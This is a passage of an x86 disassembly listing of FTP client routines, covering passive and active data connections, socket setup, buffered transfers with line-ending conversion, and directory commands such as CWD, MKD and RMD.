mov eax, [ebx+24h]
mov edx, [esi]
cmp eax, 2
mov [ebx+20h], edx
jnz short loc_42864F
mov eax, [esi]
push ebx
push eax
call sub_428C00
add esp, 8
test eax, eax
jnz short loc_42864F
mov ecx, [esi]
push ecx
call sub_401ADC
add esp, 4
mov dword ptr [esi], 0
mov dword ptr [ebx+20h], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42864F: ; CODE XREF: sub_428460+1B8j
; sub_428460+1C8j
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42865F: ; CODE XREF: sub_428460+8Bj
push edi ; default
add ebx, 44h
push offset aInvalidOpenTyp ; "Invalid open type %d\n"
push ebx
call ebp
add esp, 0Ch
loc_42866E: ; CODE XREF: sub_428460+7Fj
; sub_428460+12Cj ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 100h
retn
sub_428460 endp
; ---------------------------------------------------------------------------
align 4
off_42867C dd offset loc_4284F8 ; DATA XREF: sub_428460+91r
dd offset loc_428513 ; jump table for switch statement
dd offset loc_42852D
dd offset loc_428547
db 4 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428720 proc near ; CODE XREF: sub_428460+165p
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_114 = byte ptr -114h
var_110 = byte ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 134h
push ebx
mov ebx, [esp+138h+arg_0]
push ebp
push esi
mov eax, [ebx+18h]
xor ebp, ebp
mov esi, 1
cmp eax, ebp
push edi
mov [esp+144h+var_120], bp
mov [esp+144h+var_11E], bp
mov [esp+144h+var_11C], esi
jnz loc_428A44
mov eax, [esp+144h+arg_C]
cmp eax, esi
jz short loc_428782
cmp eax, 2
jz short loc_428782
push eax
add ebx, 44h
push offset aInvalidDirecti ; "Invalid direction %d\n"
push ebx
call ds:dword_4B3A4C
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_428782: ; CODE XREF: sub_428720+3Aj
; sub_428720+3Fj
mov eax, [esp+144h+arg_8]
cmp eax, 41h
jz short loc_4287B4
cmp eax, 49h
jz short loc_4287B4
push eax
add ebx, 44h
push offset aInvalidModeC ; "Invalid mode %c\n"
push ebx
call ds:dword_4B3A4C
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_4287B4: ; CODE XREF: sub_428720+6Cj
; sub_428720+71j
mov eax, [ebx+24h]
mov [esp+144h+var_124], 10h
cmp eax, esi
jnz loc_428899
xor eax, eax
push ebx
mov [esp+148h+var_134], eax
push 32h
mov [esp+14Ch+var_130], eax
push offset aPasv ; "PASV"
mov [esp+150h+var_12C], eax
mov word ptr [esp+150h+var_134], 2
mov [esp+150h+var_128], eax
call sub_428340
add esp, 0Ch
test eax, eax
jz loc_428A44
lea ecx, [ebx+44h]
push 28h
push ecx
call ds:dword_4B3AC4
add esp, 8
cmp eax, ebp
jz loc_428A44
lea edx, [esp+144h+var_114]
lea ecx, [esp+144h+var_118]
push edx
push ecx
lea edx, [esp+14Ch+var_104]
lea ecx, [esp+14Ch+var_108]
push edx
push ecx
lea edx, [esp+154h+var_10C]
lea ecx, [esp+154h+var_110]
push edx
push ecx
inc eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push eax
call ds:dword_4B3A70
mov dl, [esp+164h+var_110]
mov al, [esp+164h+var_10C]
mov cl, [esp+164h+var_108]
mov byte ptr [esp+164h+var_130], dl
mov dl, [esp+164h+var_104]
mov byte ptr [esp+164h+var_130+1], al
mov al, [esp+164h+var_118]
mov byte ptr [esp+164h+var_130+2], cl
mov cl, [esp+164h+var_114]
add esp, 20h
mov byte ptr [esp+144h+var_130+3], dl
mov byte ptr [esp+144h+var_134+2], al
mov byte ptr [esp+144h+var_134+3], cl
loc_42886D: ; CODE XREF: sub_428720+18Ej
push 6
push esi
push 2
call sub_430A20
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4288CB
push offset aSocket ; "socket"
call ds:dword_4B3A58
add esp, 4
or eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_428899: ; CODE XREF: sub_428720+A1j
mov ecx, [ebx+8]
lea edx, [esp+144h+var_124]
lea eax, [esp+144h+var_134]
push edx
push eax
push ecx
call sub_430A0E
test eax, eax
jge short loc_42886D
push offset aGetsockname ; "getsockname"
call ds:dword_4B3A58
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_4288CB: ; CODE XREF: sub_428720+15Cj
lea edx, [esp+144h+var_11C]
push 4
push edx
push 4
push 0FFFFh
push edi
call sub_430A98
cmp eax, 0FFFFFFFFh
jnz short loc_4288EE
push offset aSetsockopt ; "setsockopt"
jmp loc_428A35
; ---------------------------------------------------------------------------
loc_4288EE: ; CODE XREF: sub_428720+1C2j
lea eax, [esp+144h+var_120]
push 4
push eax
push 80h
push 0FFFFh
push edi
call sub_430A98
cmp eax, 0FFFFFFFFh
jnz short loc_428914
push offset aSetsockopt ; "setsockopt"
jmp loc_428A35
; ---------------------------------------------------------------------------
loc_428914: ; CODE XREF: sub_428720+1E8j
cmp [ebx+24h], esi
jnz short loc_428939
lea ecx, [esp+144h+var_134]
push 10h
push ecx
push edi
call sub_430A14
cmp eax, 0FFFFFFFFh
jnz loc_428A1B
push offset aConnect ; "connect"
jmp loc_428A35
; ---------------------------------------------------------------------------
loc_428939: ; CODE XREF: sub_428720+1F7j
lea edx, [esp+144h+var_134]
push 10h
push edx
push edi
mov word ptr [esp+150h+var_134+2], bp
call sub_430A50
cmp eax, 0FFFFFFFFh
jnz short loc_428957
push offset aBind ; "bind"
jmp short loc_428967
; ---------------------------------------------------------------------------
loc_428957: ; CODE XREF: sub_428720+22Ej
push esi
push edi
call sub_430A4A
test eax, eax
jge short loc_428983
push offset aListen ; "listen"
loc_428967: ; CODE XREF: sub_428720+235j
call ds:dword_4B3A58
add esp, 4
push edi
call sub_430A26
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_428983: ; CODE XREF: sub_428720+240j
lea eax, [esp+144h+var_124]
lea ecx, [esp+144h+var_134]
push eax
push ecx
push edi
call sub_430A0E
test eax, eax
jge short loc_4289A4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_4289A4: ; CODE XREF: sub_428720+275j
mov edx, [esp+144h+var_134+3]
mov eax, [esp+144h+var_134+2]
mov ecx, [esp+144h+var_130+3]
and edx, 0FFh
and eax, 0FFh
push edx
mov edx, [esp+148h+var_130+2]
and ecx, 0FFh
push eax
mov eax, [esp+14Ch+var_130+1]
push ecx
mov ecx, [esp+150h+var_130]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+15Ch+var_100]
push offset aPortDDDDDD ; "PORT %d,%d,%d,%d,%d,%d"
push edx
call ds:dword_4B3A4C
push ebx
lea eax, [esp+168h+var_100]
push 32h
push eax
call sub_428340
add esp, 2Ch
test eax, eax
jnz short loc_428A1B
push edi
call sub_430A26
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_428A1B: ; CODE XREF: sub_428720+209j
; sub_428720+2E6j
push 144h
push esi
call ds:dword_4B3A64
mov esi, eax
add esp, 8
cmp esi, ebp
jnz short loc_428A52
push offset aCalloc ; "calloc"
loc_428A35: ; CODE XREF: sub_428720+1C9j
; sub_428720+1EFj ...
call ds:dword_4B3A58
add esp, 4
push edi
call sub_430A26
loc_428A44: ; CODE XREF: sub_428720+2Bj
; sub_428720+D2j ...
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_428A52: ; CODE XREF: sub_428720+30Ej
cmp [esp+144h+arg_8], 41h
jnz short loc_428A9D
push 2000h
call ds:dword_4B3AB0
add esp, 4
cmp eax, ebp
mov [esi+14h], eax
jnz short loc_428A9D
push offset aCalloc ; "calloc"
call ds:dword_4B3A58
add esp, 4
push edi
call sub_430A26
push esi
call ds:dword_4B3AAC
add esp, 4
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_428A9D: ; CODE XREF: sub_428720+33Aj
; sub_428720+34Fj
mov ecx, [esp+144h+arg_C]
mov [esi+8], edi
mov [esi+18h], ecx
mov edx, [ebx+28h]
mov [esi+28h], edx
mov eax, [ebx+2Ch]
mov [esi+2Ch], eax
mov ecx, [ebx+34h]
mov [esi+34h], ecx
mov ecx, [esi+28h]
mov [esi+38h], ebp
mov [esi+40h], ebp
mov eax, [ebx+3Ch]
cmp ecx, ebp
mov [esi+3Ch], eax
jnz short loc_428ADD
cmp [esi+2Ch], ebp
jnz short loc_428ADD
cmp eax, ebp
jnz short loc_428ADD
mov [esi+30h], ebp
jmp short loc_428AE3
; ---------------------------------------------------------------------------
loc_428ADD: ; CODE XREF: sub_428720+3ADj
; sub_428720+3B2j ...
mov edx, [ebx+30h]
mov [esi+30h], edx
loc_428AE3: ; CODE XREF: sub_428720+3BBj
mov eax, [esp+144h+arg_4]
pop edi
mov [eax], esi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 134h
retn
sub_428720 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428C00 proc near ; CODE XREF: sub_428460+1BEp
var_124 = dword ptr -124h
var_120 = byte ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 124h
push ebx
mov ebx, [esp+128h+arg_0]
push ebp
push esi
mov esi, [esp+130h+arg_4]
mov eax, [ebx+8]
xor ebp, ebp
push edi
mov ecx, [esi+8]
mov [esp+134h+var_FC], eax
cmp ecx, eax
mov [esp+134h+var_100], ecx
mov [esp+134h+var_104], 2
mov [esp+134h+var_118], ebp
mov [esp+134h+var_11C], 1Eh
jge short loc_428C42
mov ecx, eax
loc_428C42: ; CODE XREF: sub_428C00+3Ej
lea eax, [esp+134h+var_11C]
lea edx, [esp+134h+var_104]
push eax
push ebp
push ebp
inc ecx
push edx
push ecx
call sub_430A56
cmp eax, 0FFFFFFFFh
jnz short loc_428C98
push 100h
call ds:dword_4B3A50
mov eax, [eax]
push eax
call ds:dword_4B3A54
add esp, 4
add esi, 44h
push eax
push esi
call ds:dword_4B3AE0
mov ecx, [ebx+8]
add esp, 0Ch
push ecx
call sub_430A26
pop edi
mov [ebx+8], ebp
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 124h
retn
; ---------------------------------------------------------------------------
loc_428C98: ; CODE XREF: sub_428C00+58j
cmp eax, ebp
jnz short loc_428CC5
lea edi, [esi+44h]
mov ecx, 8
mov esi, offset aTimedOutWaitin ; "timed out waiting for connection"
rep movsd
movsb
mov edx, [ebx+8]
push edx
call sub_430A26
pop edi
mov [ebx+8], ebp
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 124h
retn
; ---------------------------------------------------------------------------
loc_428CC5: ; CODE XREF: sub_428C00+9Aj
mov ecx, [ebx+8]
lea eax, [esp+134h+var_104]
push eax
push ecx
call sub_430A68
test eax, eax
jz short loc_428D51
mov ecx, [ebx+8]
lea edx, [esp+134h+var_120]
lea eax, [esp+134h+var_114]
push edx
push eax
push ecx
mov dword ptr [esp+140h+var_120], 10h
call sub_430A62
mov edi, eax
call ds:dword_4B3A50
mov edx, [eax]
mov eax, [ebx+8]
push eax
mov [esp+138h+var_124], edx
call sub_430A26
cmp edi, ebp
jle short loc_428D20
mov [ebx+8], edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 124h
retn
; ---------------------------------------------------------------------------
loc_428D20: ; CODE XREF: sub_428C00+10Bj
mov ecx, [esp+134h+var_124]
push 100h
push ecx
call ds:dword_4B3A54
add esp, 4
add esi, 44h
push eax
push esi
call ds:dword_4B3AE0
add esp, 0Ch
mov [ebx+8], ebp
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 124h
retn
; ---------------------------------------------------------------------------
loc_428D51: ; CODE XREF: sub_428C00+D5j
mov eax, [esi+8]
lea edx, [esp+134h+var_104]
push edx
push eax
call sub_430A68
test eax, eax
jz short loc_428D87
mov ecx, [ebx+8]
push ecx
call sub_430A26
push esi
push 32h
mov [ebx+8], ebp
call sub_427CB0
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 124h
retn
; ---------------------------------------------------------------------------
loc_428D87: ; CODE XREF: sub_428C00+161j
mov eax, [esp+134h+var_124]
pop edi
pop esi
pop ebp
pop ebx
add esp, 124h
retn
sub_428C00 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428E10 proc near ; CODE XREF: sub_4020A9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 1
jz short loc_428E21
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_428E21: ; CODE XREF: sub_428E10+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_428E3D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_427DF0
add esp, 0Ch
jmp short loc_428E64
; ---------------------------------------------------------------------------
loc_428E3D: ; CODE XREF: sub_428E10+17j
call sub_428020
add esp, 4
cmp eax, 1
jz short loc_428E4F
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_428E4F: ; CODE XREF: sub_428E10+38j
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_430A6E
loc_428E64: ; CODE XREF: sub_428E10+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_428E70
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_428E70: ; CODE XREF: sub_428E10+59j
mov ecx, [esi+38h]
add ecx, edi
mov [esi+38h], ecx
mov edx, ecx
mov ecx, [esi+30h]
test ecx, ecx
jz short loc_428EAF
mov eax, [esi+3Ch]
test eax, eax
jz short loc_428EAF
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, eax
pop ebx
jle short loc_428EAF
mov eax, [esi+34h]
push eax
push edx
push esi
call ecx
add esp, 0Ch
test eax, eax
jnz short loc_428EA8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_428EA8: ; CODE XREF: sub_428E10+93j
mov dword ptr [esi+40h], 0
loc_428EAF: ; CODE XREF: sub_428E10+6Fj
; sub_428E10+76j ...
mov eax, edi
pop edi
pop esi
retn
sub_428E10 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428EF0 proc near ; CODE XREF: sub_402059j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 2
jz short loc_428F01
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_428F01: ; CODE XREF: sub_428EF0+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_428F1D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_428FC0
add esp, 0Ch
jmp short loc_428F3A
; ---------------------------------------------------------------------------
loc_428F1D: ; CODE XREF: sub_428EF0+17j
call sub_428020
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
mov ecx, [esi+8]
add esp, 4
push 0
push edx
push eax
push ecx
call sub_430A2C
loc_428F3A: ; CODE XREF: sub_428EF0+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_428F46
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_428F46: ; CODE XREF: sub_428EF0+4Fj
mov edx, [esi+38h]
mov eax, [esi+30h]
add edx, edi
test eax, eax
mov [esi+38h], edx
jz short loc_428F7C
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_428F7C
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, ecx
pop ebx
jle short loc_428F7C
mov ecx, [esi+34h]
push ecx
push edx
push esi
call eax
add esp, 0Ch
mov dword ptr [esi+40h], 0
loc_428F7C: ; CODE XREF: sub_428EF0+63j
; sub_428EF0+6Aj ...
mov eax, edi
pop edi
pop esi
retn
sub_428EF0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428FC0 proc near ; CODE XREF: sub_428EF0+23p
; sub_429170+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_8]
push esi
xor esi, esi
xor al, al
mov ecx, [ebp+18h]
push edi
cmp ecx, 2
jz short loc_428FDC
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn
; ---------------------------------------------------------------------------
loc_428FDC: ; CODE XREF: sub_428FC0+12j
mov ecx, [esp+10h+arg_4]
mov edi, [ebp+14h]
xor ebx, ebx
test ecx, ecx
jle loc_429104
loc_428FED: ; CODE XREF: sub_428FC0+AFj
mov ecx, [esp+10h+arg_0]
cmp byte ptr [ebx+ecx], 0Ah
jnz short loc_42902E
cmp al, 0Dh
jz short loc_42902E
cmp esi, 2000h
jnz short loc_429029
push ebp
call sub_428020
add esp, 4
test eax, eax
jz short loc_42908A
mov edx, [ebp+8]
push 0
push esi
push edi
push edx
call sub_430A2C
mov esi, eax
cmp esi, 2000h
jnz short loc_429091
xor esi, esi
loc_429029: ; CODE XREF: sub_428FC0+41j
mov byte ptr [edi+esi], 0Dh
inc esi
loc_42902E: ; CODE XREF: sub_428FC0+35j
; sub_428FC0+39j
cmp esi, 2000h
jnz short loc_42905C
push ebp
call sub_428020
add esp, 4
test eax, eax
jz short loc_42908A
mov eax, [ebp+8]
push 0
push esi
push edi
push eax
call sub_430A2C
mov esi, eax
cmp esi, 2000h
jnz short loc_4290B1
xor esi, esi
loc_42905C: ; CODE XREF: sub_428FC0+74j
mov ecx, [esp+10h+arg_0]
inc esi
mov al, [ebx+ecx]
mov ecx, [esp+10h+arg_4]
mov [edi+esi-1], al
inc ebx
cmp ebx, ecx
jl loc_428FED
test esi, esi
jz loc_429104
push ebp
call sub_428020
add esp, 4
test eax, eax
jnz short loc_4290D1
loc_42908A: ; CODE XREF: sub_428FC0+4Ej
; sub_428FC0+81j
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_429091: ; CODE XREF: sub_428FC0+65j
call ds:dword_4B3A50
mov edx, [eax]
push edx
push esi
push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n"
call ds:dword_4B3A48
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4290B1: ; CODE XREF: sub_428FC0+98j
call ds:dword_4B3A50
mov eax, [eax]
push eax
push esi
push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n"
call ds:dword_4B3A48
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4290D1: ; CODE XREF: sub_428FC0+C8j
mov ecx, [ebp+8]
push 0
push esi
push edi
push ecx
call sub_430A2C
mov edi, eax
cmp edi, esi
jz short loc_429104
call ds:dword_4B3A50
mov edx, [eax]
push edx
push edi
push offset aNet_write3Retu ; "net_write(3) returned %d, errno = %d\n"
call ds:dword_4B3A48
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_429104: ; CODE XREF: sub_428FC0+27j
; sub_428FC0+B7j ...
mov eax, [esp+10h+arg_4]
pop edi
pop esi
pop ebp
pop ebx
retn
sub_428FC0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429170 proc near ; CODE XREF: sub_401ADCj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+18h]
sub eax, 0
jz short loc_4291EB
dec eax
jz short loc_4291A0
dec eax
jz short loc_42918C
loc_429184: ; CODE XREF: sub_429170+64j
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_42918C: ; CODE XREF: sub_429170+12j
mov eax, [esi+14h]
test eax, eax
jz short loc_4291A0
push esi
push 0
push 0
call sub_428FC0
add esp, 0Ch
loc_4291A0: ; CODE XREF: sub_429170+Fj
; sub_429170+21j
mov eax, [esi+14h]
push ebx
mov ebx, ds:dword_4B3AAC
test eax, eax
jz short loc_4291B4
push eax
call ebx
add esp, 4
loc_4291B4: ; CODE XREF: sub_429170+3Cj
mov eax, [esi+8]
push 2
push eax
call sub_430AAA
mov ecx, [esi+8]
push ecx
call sub_430A26
mov edi, [esi+1Ch]
push esi
call ebx
add esp, 4
test edi, edi
pop ebx
jz short loc_429184
push edi
push 32h
mov dword ptr [edi+20h], 0
call sub_427CB0
add esp, 8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4291EB: ; CODE XREF: sub_429170+Cj
mov eax, [esi+20h]
test eax, eax
jz short loc_429202
push esi
mov dword ptr [esi+1Ch], 0
call sub_401ADC
add esp, 4
loc_429202: ; CODE XREF: sub_429170+80j
mov edx, [esi+8]
push edx
call sub_430A26
push esi
call ds:dword_4B3AAC
add esp, 4
xor eax, eax
pop edi
pop esi
retn
sub_429170 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429250: ; CODE XREF: _294ADE7B:00401BC2j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_429279
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_429279: ; CODE XREF: _294ADE7B:00429270j
push edx
lea eax, [esp+4]
push offset aSiteS ; "SITE %s"
push eax
call ds:dword_4B3A4C
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_428340
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4292D0: ; CODE XREF: _294ADE7B:00401631j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset aSyst ; "SYST"
call sub_428340
add esp, 0Ch
test eax, eax
jnz short loc_4292F1
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4292F1: ; CODE XREF: _294ADE7B:004292ECj
mov eax, [esp+10h]
lea ecx, [edi+48h]
lea edx, [eax-1]
test edx, edx
jz short loc_42930C
loc_4292FF: ; CODE XREF: _294ADE7B:0042930Aj
mov al, [ecx]
cmp al, 20h
jz short loc_42930C
mov [esi], al
inc esi
inc ecx
dec edx
jnz short loc_4292FF
loc_42930C: ; CODE XREF: _294ADE7B:004292FDj
; _294ADE7B:00429303j
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429340: ; CODE XREF: _294ADE7B:004020AEj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_429369
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_429369: ; CODE XREF: _294ADE7B:00429360j
push edx
lea eax, [esp+4]
push offset aMkdS ; "MKD %s"
push eax
call ds:dword_4B3A4C
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_428340
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4293C0: ; CODE XREF: _294ADE7B:004020B8j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_4293E9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_4293E9: ; CODE XREF: _294ADE7B:004293E0j
push edx
lea eax, [esp+4]
push offset aCwdS ; "CWD %s"
push eax
call ds:dword_4B3A4C
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_428340
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429440: ; CODE XREF: _294ADE7B:004016E0j
mov eax, [esp+4]
push eax
push 32h
push offset aCdup ; "CDUP"
call sub_428340
add esp, 0Ch
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429470: ; CODE XREF: _294ADE7B:00402063j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 5
pop edi
cmp ecx, 100h
jbe short loc_429499
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_429499: ; CODE XREF: _294ADE7B:00429490j
push edx
lea eax, [esp+4]
push offset aRmdS ; "RMD %s"
push eax
call ds:dword_4B3A4C
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_428340
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4294F0: ; CODE XREF: _294ADE7B:004015E1j
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+14h]
push edi
push 32h
push offset off_43F97C
call sub_428340
add esp, 0Ch
test eax, eax
jnz short loc_429511
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_429511: ; CODE XREF: _294ADE7B:0042950Cj
add edi, 44h
push 22h
push edi
call ds:dword_4B3AC4
add esp, 8
test eax, eax
jnz short loc_429527
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_429527: ; CODE XREF: _294ADE7B:00429522j
mov ecx, [esp+10h]
inc eax
lea edx, [ecx-1]
test edx, edx
jz short loc_429545
loc_429533: ; CODE XREF: _294ADE7B:00429543j
mov cl, [eax]
test cl, cl
jz short loc_429545
cmp cl, 22h
jz short loc_429545
mov [esi], cl
inc esi
inc eax
dec edx
jnz short loc_429533
loc_429545: ; CODE XREF: _294ADE7B:00429531j
; _294ADE7B:00429537j ...
mov byte ptr [esi], 0
pop edi
mov eax, 1
pop esi
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429570: ; CODE XREF: _294ADE7B:0040110Ej
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 1
push eax
push ecx
push edx
call sub_4295A0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4295A0 proc near ; CODE XREF: _294ADE7B:00429583p
; _294ADE7B:00429803p ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
mov eax, [esp+4+arg_0]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov edi, [esp+14h+arg_10]
cmp eax, ebp
mov [esp+14h+var_4], 1
jz short loc_42962A
mov esi, [esp+14h+arg_C]
mov cx, ds:word_43F9BC
cmp esi, 4
mov word ptr [esp+14h+arg_10], cx
mov word ptr [esp+14h+arg_10+2], bp
jnz short loc_4295DA
mov byte ptr [esp+14h+arg_10], 72h
loc_4295DA: ; CODE XREF: sub_4295A0+33j
cmp edi, 49h
jnz short loc_4295E4
mov byte ptr [esp+14h+arg_10+1], 62h
